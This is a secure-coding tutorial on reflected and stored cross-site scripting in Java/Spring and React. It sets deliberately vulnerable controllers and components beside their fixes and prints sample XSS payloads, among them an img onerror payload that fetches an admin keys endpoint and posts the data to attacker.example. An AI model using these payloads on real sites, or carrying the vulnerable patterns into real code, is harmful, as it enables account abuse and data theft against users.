Skip to main content

Cross-Site Scripting (XSS) in Java and React: Reflected and Stored XSS (Part 1)

Updated 20 min readMarkdown
Part of seriesCross-site Scripting
Cross-Site Scripting (XSS) in Java and React: Reflected and Stored XSS (Part 1)

A search query or profile bio should remain data when it reaches the browser. Cross-site scripting breaks that boundary. The OWASP Top 10:2025 places XSS (CWE-79) under A05:2025 Injection and reports more than 30,000 XSS CVEs in its dataset. That count describes the dataset behind the edition, not a live total.

XSS survives because it is not just about forgetting to sanitize input. It is a design problem. Data crosses a trust boundary, and at some point that data gets treated as code. The browser does exactly what we told it to do, not what we meant.

A Java and Spring backend paired with a React frontend already provides good tools for this. The challenge is wiring them together correctly and avoiding the subtle shortcuts that reintroduce XSS in less obvious places.

The examples use Java 25 LTS, Spring Boot 4, Spring Framework 7, Spring Security 7, React 19 and TypeScript 7, with Node.js 26 LTS for the frontend toolchain.

1. What XSS really is: Data becomes code

Almost every XSS vulnerability can be summarized in one sentence: user-controlled data gets interpreted as executable code by the browser.

The browser does not know what is trusted. It only knows what context the value ends up in. Consider these different contexts where user data might land:

HTML element content:

<p>Some text here</p>

HTML attribute values:

<img src="..." alt="...">

JavaScript code:

<script>const user = "..."</script>

URL and query parameters:

<a href="/search?q=...">Search</a>

Inline event handlers:

<button onclick="doSomething('...')">Click</button>

CSS values:

<div style="background: url(...)">Content</div>

In a safe design, user data lands in a context where it can only be rendered as text, not executed as code. This usually means the framework escapes it correctly for the context, or the value goes to a component that never mixes it into executable code.

In an unsafe design, we break this boundary. We concatenate strings into HTML or JavaScript, or we render raw HTML directly. The rest of this post is about spotting and fixing those boundary violations.

2. Reflected XSS: Turning simple echoes into code execution

Reflected XSS occurs when the application takes a value from the request and reflects it into an executable HTML or script context in the response without the right encoding. An unencoded echo in JSON or plain text alone is not XSS.

The classic example is a search page that shows back the query string.

Vulnerable pattern: Naive HTML building

Imagine a legacy endpoint that returns a small HTML page directly from a controller:

package com.secureblog.search;

import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class LegacySearchController {

    // VULNERABLE: direct string concatenation into HTML
    @GetMapping(value = "/legacy/search", produces = MediaType.TEXT_HTML_VALUE)
    public String search(@RequestParam(name = "q", required = false) String query) {
        String displayQuery = query != null ? query : "";

        return """
            <html>
                <head><title>Search</title></head>
                <body>
                    <h1>Search results</h1>
                    <p>You searched for: %s</p>
                </body>
            </html>
            """.formatted(displayQuery);
    }
}

If an attacker calls:

/legacy/search?q=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E

The response body contains:

<p>You searched for: <script>alert('xss')</script></p>

The browser parses this as normal HTML, finds a script tag, and executes it in the origin of the application. At that point the attacker can read data accessible to JavaScript on that page, call the API using the victim's session, or manipulate the DOM to inject phishing content. A restrictive Content Security Policy (CSP) can block injected scripts; the vulnerable examples here assume no policy that blocks their execution.

Why this is vulnerable:

The controller builds HTML manually. There is zero context-aware encoding. The user-controlled query variable is injected into HTML content without escaping.

This pattern is still surprisingly common in health checks, admin tools, or temporary endpoints that never get revisited.

More subtle reflected XSS: HTML attributes

Sometimes the echo happens in an attribute, which can be even trickier.

return """
    <html>
        <body>
            <h1>Search results</h1>
            <a href="/search?q=%s">Repeat search</a>
        </body>
    </html>
    """.formatted(query);

Now an attacker might try:

/legacy/search?q=%22%20onclick%3D%22alert(%27xss%27)

The generated HTML:

<a href="/search?q=" onclick="alert('xss')">Repeat search</a>

The attribute closes early and injects a new onclick handler. The browser happily wires the attack code to the click event.

Again, the issue is lack of encoding for the correct context. Encode the query as a URL parameter first, then HTML-attribute-encode the assembled URL in a quoted attribute. Attribute encoding alone prevents the quote breakout but does not preserve query-parameter boundaries.

Secure pattern: Prefer JSON APIs and escaping in the view

The easiest way to reduce XSS risk in modern applications is to stop building HTML in controllers. Most real systems have a clear API layer and a separate frontend.

Step 1: Return JSON from Spring

A safer search endpoint:

package com.secureblog.search;

import jakarta.validation.constraints.Size;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/search")
public class SearchController {

    @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
    public ResponseEntity<SearchResponse> search(
            @RequestParam("q")
            @Size(min = 1, max = 100, message = "Query must be between 1 and 100 characters")
            String query) {

        // SECURE: return typed JSON, not an HTML string
        return ResponseEntity.ok(new SearchResponse(query));
    }

    public record SearchResponse(String originalQuery) {}
}

Spring MVC applies @Size through built-in method validation when a Bean Validation provider is configured. The constraint limits input length; it does not make HTML safe to render.

This endpoint never builds HTML. The browser receives JSON with Content-Type: application/json:

{
  "originalQuery": "<script>alert('xss')</script>"
}

By itself that does not execute. It is just data. The responsibility for safe rendering now moves to the frontend.

Step 2: Rely on React text rendering

A React component that uses this API in TypeScript:

import { useEffect, useState } from "react";

interface SearchResponse {
    originalQuery: string;
}

interface SearchSummaryProps {
    query: string;
}

export function SearchSummary({ query }: SearchSummaryProps) {
    const [data, setData] = useState<SearchResponse | null>(null);
    const [error, setError] = useState<string | null>(null);
    const [loading, setLoading] = useState(false);

    useEffect(() => {
        if (!query.trim()) {
            setData(null);
            setError(null);
            setLoading(false);
            return;
        }

        const controller = new AbortController();
        setLoading(true);
        setError(null);
        setData(null);

        fetch(`/api/search?q=${encodeURIComponent(query)}`, {
            signal: controller.signal,
        })
            .then((response) => {
                if (!response.ok) {
                    throw new Error(`Search failed: ${response.status}`);
                }
                return response.json() as Promise<SearchResponse>;
            })
            .then((result) => {
                if (controller.signal.aborted) return;
                setData(result);
                setLoading(false);
            })
            .catch((err) => {
                if (!controller.signal.aborted) {
                    console.error("Search error:", err);
                    setError("Unable to load search results. Please try again.");
                    setLoading(false);
                }
            });

        return () => controller.abort();
    }, [query]);

    if (loading) {
        return <div role="status" aria-live="polite">Searching...</div>;
    }

    if (error) {
        return <div role="alert">{error}</div>;
    }

    if (!data) {
        return <div>Type something to search.</div>;
    }

    return (
        <section>
            <h1>Search results</h1>
            {/* SECURE: React renders this string as text, not HTML */}
            <p>You searched for: {data.originalQuery}</p>
        </section>
    );
}

Here, React treats data.originalQuery as text. Client rendering creates text content rather than parsing the value as HTML; server rendering escapes the string when serializing HTML. This protection applies to a text position such as this one, not every prop or rendering API.

The payload <script>alert('xss')</script> renders as visible text, not as a script tag.

Why this is secure:

The backend treats user data as JSON, not as HTML. The frontend places the string in a text position rather than an HTML-parsing sink. There is no manual string concatenation of HTML.

Secure pattern when server-side HTML rendering is required

Sometimes server-side rendered HTML is still needed for marketing pages, emails, or server-side templating.

The secure pattern involves two steps: use a templating engine that escapes values by default, and only opt out of escaping for safe and controlled values.

Thymeleaf example:

package com.secureblog.search;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class SearchPageController {

    @GetMapping("/search")
    public String searchPage(
            @RequestParam(value = "q", defaultValue = "") String query,
            Model model) {
        model.addAttribute("query", query);
        return "search";
    }
}

templates/search.html:

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Search</title>
</head>
<body>
    <h1>Search results</h1>

    <p>
        You searched for:
        <!-- SECURE: th:text escapes HTML -->
        <span th:text="${query}"></span>
    </p>
</body>
</html>

If query contains <script>alert('xss')</script>, Thymeleaf encodes it before sending the response. The browser never sees a real <script> element.

FreeMarker behaves similarly:

<#-- search.ftlh: the .ftlh extension selects the HTML output format, so ${...} is auto-escaped -->
<p>You searched for: ${query}</p>

Spring Boot's FreeMarker integration uses the .ftlh suffix by default, which turns on HTML auto-escaping. The older ?html built-in is deprecated since FreeMarker 2.3.24 and is rejected at parse time inside an auto-escaped template, so it shouldn't appear in new code.

The important rule: do not use th:utext in Thymeleaf, or ?no_esc and templates without HTML auto-escaping in FreeMarker, unless the value is fully trusted and has been sanitized upstream.

Stored XSS: When the database becomes a delivery system

Stored XSS, also called persistent XSS, occurs when malicious input is saved and later rendered to other users.

A common example is user profile fields, comments, or chat messages. The basic scenario works like this: an attacker submits data containing a script, the backend stores it as-is in a database, a different user loads a page where that data is rendered, and the script runs in that second user's browser.

This is usually more dangerous than reflected XSS because one payload can affect many users. It can sit quietly in the database for a long time. It blends into normal application data.

A particularly dangerous variant is Blind XSS, where the payload does not execute immediately but triggers later in an admin panel, internal tool, or support dashboard. The attacker may never see the vulnerable page directly, but their payload runs in the context of a privileged user.

Vulnerable pattern: Storing and rendering rich text

Assume we have a feature where users can write a short HTML-formatted bio. Storing the original HTML is not itself XSS; the vulnerable boundary is rendering that HTML without sanitization.

Backend: Accepts and stores raw HTML

CustomUserDetails.getUserId() returns the authenticated account ID, which is also used by the profile read API. The application-specific CustomUserDetails and ProfileRepository types are omitted here.

package com.secureblog.profile;

import com.secureblog.security.CustomUserDetails;
import jakarta.validation.Valid;
import jakarta.validation.constraints.NotBlank;
import jakarta.validation.constraints.Size;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/profile")
public class ProfileController {

    private final ProfileService profileService;

    public ProfileController(ProfileService profileService) {
        this.profileService = profileService;
    }

    @PostMapping("/bio")
    public ResponseEntity<Void> updateBio(
            @Valid @RequestBody UpdateBioRequest request,
            @AuthenticationPrincipal CustomUserDetails user) {
        profileService.updateBio(user.getUserId(), request.bio());
        return ResponseEntity.noContent().build();
    }

    public record UpdateBioRequest(
            @NotBlank(message = "Bio is required")
            @Size(max = 2000, message = "Bio must not exceed 2000 characters")
            String bio
    ) {}
}
package com.secureblog.profile;

import org.springframework.stereotype.Service;

@Service
public class ProfileService {

    private final ProfileRepository profileRepository;

    public ProfileService(ProfileRepository profileRepository) {
        this.profileRepository = profileRepository;
    }

    public void updateBio(String userId, String bioHtml) {
        profileRepository.updateBio(userId, bioHtml);
    }

    public String getBio(String userId) {
        return profileRepository.findBioByUserId(userId)
                .orElse("");
    }
}

Frontend: Renders HTML using dangerouslySetInnerHTML

import { useEffect, useState } from "react";

interface Profile {
    id: string;
    bioHtml: string;
}

interface UserBioProps {
    userId: string;
}

export function UserBio({ userId }: UserBioProps) {
    const [profile, setProfile] = useState<Profile | null>(null);
    const [error, setError] = useState<string | null>(null);

    useEffect(() => {
        const controller = new AbortController();
        setProfile(null);
        setError(null);

        fetch(`/api/profile/${encodeURIComponent(userId)}`, {
            signal: controller.signal,
        })
            .then((response) => {
                if (!response.ok) {
                    throw new Error("Failed to load profile");
                }
                return response.json() as Promise<Profile>;
            })
            .then((result) => {
                if (!controller.signal.aborted) setProfile(result);
            })
            .catch(() => {
                if (!controller.signal.aborted) {
                    setError("Could not load profile");
                }
            });

        return () => controller.abort();
    }, [userId]);

    if (error) {
        return <div role="alert">{error}</div>;
    }

    if (!profile) {
        return <div>Loading profile...</div>;
    }

    return (
        <section>
            <h3>About me</h3>
            {/* VULNERABLE: untrusted HTML rendered directly */}
            <div dangerouslySetInnerHTML={{ __html: profile.bioHtml }} />
        </section>
    );
}

This looks convenient. Users get rich text, links, maybe some basic formatting. But an attacker can submit:

<p>Hello everyone!</p>
<img src="/missing-xss-probe.png" onerror="fetch('/api/admin/keys').then(r => r.text()).then(data => fetch('https://attacker.example/collect', {method: 'POST', mode: 'no-cors', body: data}))" />

When the image fails to load, its onerror handler runs in the viewer's browser. If an administrator views the profile and /api/admin/keys returns keys to that administrator, the payload can read that response and send it to the attacker's endpoint. It uses the viewer's existing access; it does not turn an ordinary account into an administrator.

Why this is vulnerable:

The backend stores untrusted HTML. The frontend injects that HTML directly into the DOM via dangerouslySetInnerHTML. There is no sanitization or encoding step at any layer.

The name dangerouslySetInnerHTML is a hint from React. It is meant for trusted content. Here we use it on data that came from another user.

Secure pattern: Sanitize HTML on the client

If user-supplied HTML is genuinely required, it must be sanitized. A common choice in React is DOMPurify.

A safer version of the component:

import { useEffect, useState, useMemo } from "react";
import DOMPurify from "dompurify";

interface Profile {
    id: string;
    bioHtml: string;
}

interface UserBioProps {
    userId: string;
}

export function UserBio({ userId }: UserBioProps) {
    const [profile, setProfile] = useState<Profile | null>(null);
    const [error, setError] = useState<string | null>(null);

    useEffect(() => {
        const controller = new AbortController();
        setProfile(null);
        setError(null);

        fetch(`/api/profile/${encodeURIComponent(userId)}`, {
            signal: controller.signal,
        })
            .then((response) => {
                if (!response.ok) {
                    throw new Error("Failed to load profile");
                }
                return response.json() as Promise<Profile>;
            })
            .then((result) => {
                if (!controller.signal.aborted) setProfile(result);
            })
            .catch(() => {
                if (!controller.signal.aborted) {
                    setError("Could not load profile");
                }
            });

        return () => controller.abort();
    }, [userId]);

    const safeBio = useMemo(() => {
        if (!profile?.bioHtml) {
            return "";
        }

        return DOMPurify.sanitize(profile.bioHtml, {
            ALLOWED_TAGS: ["p", "br", "strong", "em", "b", "i", "ul", "ol", "li", "blockquote", "a"],
            ALLOWED_ATTR: ["href", "title"],
            ALLOW_DATA_ATTR: false,
            ALLOW_ARIA_ATTR: false,
        });
    }, [profile?.bioHtml]);

    if (error) {
        return <div role="alert">{error}</div>;
    }

    if (!profile) {
        return <div>Loading profile...</div>;
    }

    return (
        <section>
            <h3>About me</h3>
            {/* SECURE: only sanitized HTML reaches the HTML sink */}
            <div dangerouslySetInnerHTML={{ __html: safeBio }} />
        </section>
    );
}

SVG is outside this bio allowlist. Unsanitized SVG can contain scripts and event handlers, for example:

<svg onload="alert('xss')"></svg>
<svg><script>alert('xss')</script></svg>

Why this is more secure:

DOMPurify parses the HTML and removes unsafe tags and attributes. Event handler attributes and script-related elements are stripped. We still use dangerouslySetInnerHTML, but we only feed it sanitized HTML.

DOMPurify uses an allowlist: only supported tags, attributes and attribute values survive. Here, ALLOWED_TAGS and ALLOWED_ATTR narrow that vocabulary to the bio's formatting needs. USE_PROFILES selects a built-in allowlist instead; it should not be combined with this explicit tag list. FORBID_TAGS and FORBID_ATTR remove additional entries from an allowlist. They are extra hardening, not a replacement for it: a hand-written blocklist can always miss another tag or event handler. See the configuration documentation.

Mutation XSS (mXSS) exploits differences between parsing and re-parsing HTML. DOMPurify includes defenses against known patterns, so keep it updated and do not append untrusted markup after sanitization.

Secure pattern: Sanitize on the server as well

Client-side sanitization is not enough if other clients consume the same API like mobile apps or third-party integrations. It also falls short when emails embed parts of the stored content, or when admin tools render the content without the same React layer.

To build a stronger defense, sanitize on the server, on write or on read.

Using OWASP Java HTML Sanitizer:

package com.secureblog.profile;

import org.owasp.html.PolicyFactory;
import org.owasp.html.HtmlPolicyBuilder;
import org.springframework.stereotype.Service;

@Service
public class ProfileService {

    private static final PolicyFactory BIO_POLICY =
            new HtmlPolicyBuilder()
                    .allowElements("p", "br", "strong", "em", "b", "i", "ul", "ol", "li", "blockquote", "a")
                    .allowAttributes("href").onElements("a")
                    .allowAttributes("title").globally()
                    .allowWithoutAttributes("a")
                    .allowUrlProtocols("http", "https", "mailto")
                    .toFactory();

    private final ProfileRepository profileRepository;

    public ProfileService(ProfileRepository profileRepository) {
        this.profileRepository = profileRepository;
    }

    public void updateBio(String userId, String rawBioHtml) {
        // SECURE: apply the server allowlist before storing the HTML
        String safeBioHtml = BIO_POLICY.sanitize(rawBioHtml);
        profileRepository.updateBio(userId, safeBioHtml);
    }

    public String getBio(String userId) {
        return profileRepository.findBioByUserId(userId)
                .orElse("");
    }
}

Both layers use the same formatting tag list. Keep that list aligned on the server and client when the feature changes.

Sanitization on write protects new content. Existing rows still need sanitization on read or a migration, and consumers must render the result as HTML content rather than embedding it in an attribute or script.

DOMPurify can still stay on the client as an additional line of defense. Sanitization on multiple layers is a valid approach here.

Alternative: Stop accepting arbitrary HTML

Sometimes the simplest solution is to step back and ask whether arbitrary HTML is really needed.

If most bios only use paragraphs, line breaks, and a few text decorations, they can be modeled as plain text with formatting applied on the client.

Plain-text request DTO (using the validation imports above):

public record UpdateBioRequest(
        @NotBlank(message = "Bio text is required")
        @Size(max = 500, message = "Bio must not exceed 500 characters")
        String bioText
) {}

React formats it safely:

interface FormattedBioProps {
    bioText: string;
}

export function FormattedBio({ bioText }: FormattedBioProps) {
    const lines = bioText.split(/\r?\n/);

    return (
        <p>
            {lines.map((line, index) => (
                <span key={index}>
                    {line}
                    {index < lines.length - 1 && <br />}
                </span>
            ))}
        </p>
    );
}

No HTML passes through from the user. The component controls exactly which tags appear in the DOM.

4. Common anti-patterns that quietly reintroduce XSS

Even with good architecture, it is easy to accidentally break the data/code boundary.

Building HTML fragments in the backend

For performance or convenience, someone might decide to return HTML snippets instead of JSON. In these snippets, the application-specific CustomUserDetails supplies getNotifications(); its implementation is omitted:

package com.secureblog.notifications;

import com.secureblog.security.CustomUserDetails;

import java.util.stream.Collectors;
import org.springframework.http.MediaType;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class NotificationController {

    @GetMapping(value = "/api/notifications/snippet", produces = MediaType.TEXT_HTML_VALUE)
    public String notificationsSnippet(@AuthenticationPrincipal CustomUserDetails user) {
        // VULNERABLE: building HTML with user-controlled data
        return """
            <ul>
                %s
            </ul>
            """.formatted(
                user.getNotifications().stream()
                    .map(n -> "<li>" + n.getMessage() + "</li>")
                    .collect(Collectors.joining())
            );
    }
}

If any notification message contains untrusted data, this endpoint becomes an XSS delivery channel.

Better approach:

Return an array of notification objects as JSON. Render them in the frontend with proper escaping.

package com.secureblog.notifications;

import com.secureblog.security.CustomUserDetails;

import java.time.Instant;
import java.util.List;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/notifications")
public class NotificationController {

    @GetMapping
    public ResponseEntity<List<NotificationResponse>> getNotifications(
            @AuthenticationPrincipal CustomUserDetails user) {
        List<NotificationResponse> notifications = user.getNotifications().stream()
                .map(n -> new NotificationResponse(n.getId(), n.getMessage(), n.getCreatedAt()))
                .toList();
        return ResponseEntity.ok(notifications);
    }

    public record NotificationResponse(
            String id,
            String message,
            Instant createdAt
    ) {}
}

Interpolating data into inline scripts

Another common pattern is embedding data inside a <script> tag in server-rendered pages:

<script>
    const currentUserName = "<%= user.getName() %>";
</script>

If user.getName() contains a quote and some JavaScript, it can break out:

Bob"; alert(document.cookie); //

Resulting script:

const currentUserName = "Bob"; alert(document.cookie); //";

The fix must account for both the JavaScript string and its enclosing HTML script element. Escaping quotes alone can still leave a </script> breakout. Use the template engine's JavaScript serializer rather than hand-written replacements.

In a Java/Spring and Thymeleaf setup:

<script th:inline="javascript">
    /*<![CDATA[*/
    const currentUserName = [[${user.name}]];
    /*]]>*/
</script>

Thymeleaf JavaScript inlining serializes the value as a quoted JavaScript literal and escapes it for embedding in the script. Do not add another pair of quotes around [[...]].

Or better, avoid inline scripts entirely and fetch the data from an API at runtime.

Dangerous URL schemes

User-controlled URLs can contain javascript: schemes that execute code when used for navigation. React 19 blocks them in href and src, but that check does not cover a direct assignment to window.location.href inside an event handler:

import type { ReactNode } from "react";

interface LinkProps {
    href: string;
    children: ReactNode;
}

export function UserLink({ href, children }: LinkProps) {
    return (
        <button type="button" onClick={() => {
            // VULNERABLE: navigation uses an unchecked URL outside React's href protection
            window.location.href = href;
        }}>
            {children}
        </button>
    );
}

// Attacker provides: javascript:void(alert('xss'))

Clicking the button passes the URL directly to the browser. The payload runs in that page's context. React only renders the button; it does not validate the navigation performed by the handler. Calls such as window.open(url) and links built in server templates also need their own URL checks.

Secure pattern with URL validation:

import type { ReactNode } from "react";

interface SafeLinkProps {
    href: string;
    children: ReactNode;
    className?: string;
}

const ALLOWED_PROTOCOLS = ["http:", "https:", "mailto:"];

export function getSafeNavigationUrl(href: string, base: string): string | null {
    try {
        const url = new URL(href, base);
        return ALLOWED_PROTOCOLS.includes(url.protocol) ? url.href : null;
    } catch {
        return null;
    }
}

export function SafeUserLink({ href, children, className }: SafeLinkProps) {
    return (
        <button type="button" className={className} onClick={() => {
            const safeUrl = getSafeNavigationUrl(href, window.location.origin);
            if (safeUrl === null) return;
            // SECURE: navigate only to the parsed URL that passed the scheme check
            window.location.href = safeUrl;
        }}>
            {children}
        </button>
    );
}

export function openUserUrl(href: string) {
    const safeUrl = getSafeNavigationUrl(href, window.location.origin);
    if (safeUrl === null) return;
    // SECURE: the same URL check applies before opening another browsing context
    window.open(safeUrl, "_blank", "noopener,noreferrer");
}

The button keeps the same navigation flow, but passes the URL through a scheme check before assigning it. A parse failure or disallowed scheme stops navigation. openUserUrl applies the same check before calling window.open. Relative references are resolved by URL; this policy permits external HTTP(S) links and mail links. If navigation must stay on this application's origin, also compare the parsed origin before returning the URL. A leading slash is not an origin check.

5. Mitigation strategy: Layered, not single-point

It helps to think of XSS mitigation as layers rather than one magic function.

Design level

Prefer JSON APIs over HTML-building controllers. Use frameworks that auto-escape template values by default. Avoid inline JavaScript when possible and keep JS in separate files.

Backend level (Java and Spring)

Never concatenate untrusted input into HTML or JavaScript. When using templates like Thymeleaf or FreeMarker, leave escaping on. Only allow raw HTML through well-defined entry points, and sanitize it. Validate input length and type, but remember that validation is not a replacement for encoding.

Frontend level (React and TypeScript)

Use React text interpolation for untrusted strings; validate URL props separately. Treat dangerouslySetInnerHTML as a last resort. Wrap it in a dedicated component that always sanitizes input. Avoid constructing HTML or JS strings from user input in event handlers.

Mark session cookies as HttpOnly, Secure, and SameSite=Lax or Strict where the login flow permits it. HttpOnly prevents JavaScript from reading the cookie; Secure restricts transmission to HTTPS; SameSite limits cross-site cookie sending. Avoid storing sensitive tokens in localStorage or sessionStorage, where injected script can read them.

These controls limit token theft, but XSS can still issue same-origin requests with the victim's cookies attached. Neither HttpOnly nor SameSite prevents that. Output encoding and sanitization remain necessary.

Wrapping Part 1

In this part, we focused on how XSS appears as data travels from server to browser.

XSS is data that turns into code in a browser context. Reflected XSS involves immediate echoes of user input that can execute scripts if not encoded correctly. Stored XSS happens when malicious content saved in the database attacks many users later. Blind XSS is a variant where payloads trigger in admin panels or internal tools, potentially affecting privileged users.

On the backend, avoid building HTML in controllers, use templates that escape by default, and sanitize where HTML is truly needed. Watch out for SVG elements and javascript: URL schemes as common bypass vectors. On the frontend, render untrusted strings as React text, keep dangerouslySetInnerHTML behind sanitization, and treat HTML and JavaScript as separate from user data.

About the author

  • 20+ years in software development, now focused on application security. Writing hands-on guides on secure coding patterns, vulnerability analysis, and security architecture.

No comments yet. Be the first to comment.

Cross-site Scripting

Part 1 of 1

A practical guide to cross-site scripting in Java and React applications. Across this multipart series, explore reflected, stored, and DOM-based XSS, secure coding patterns, modern browser defenses, and the architectural decisions that help prevent XSS at scale.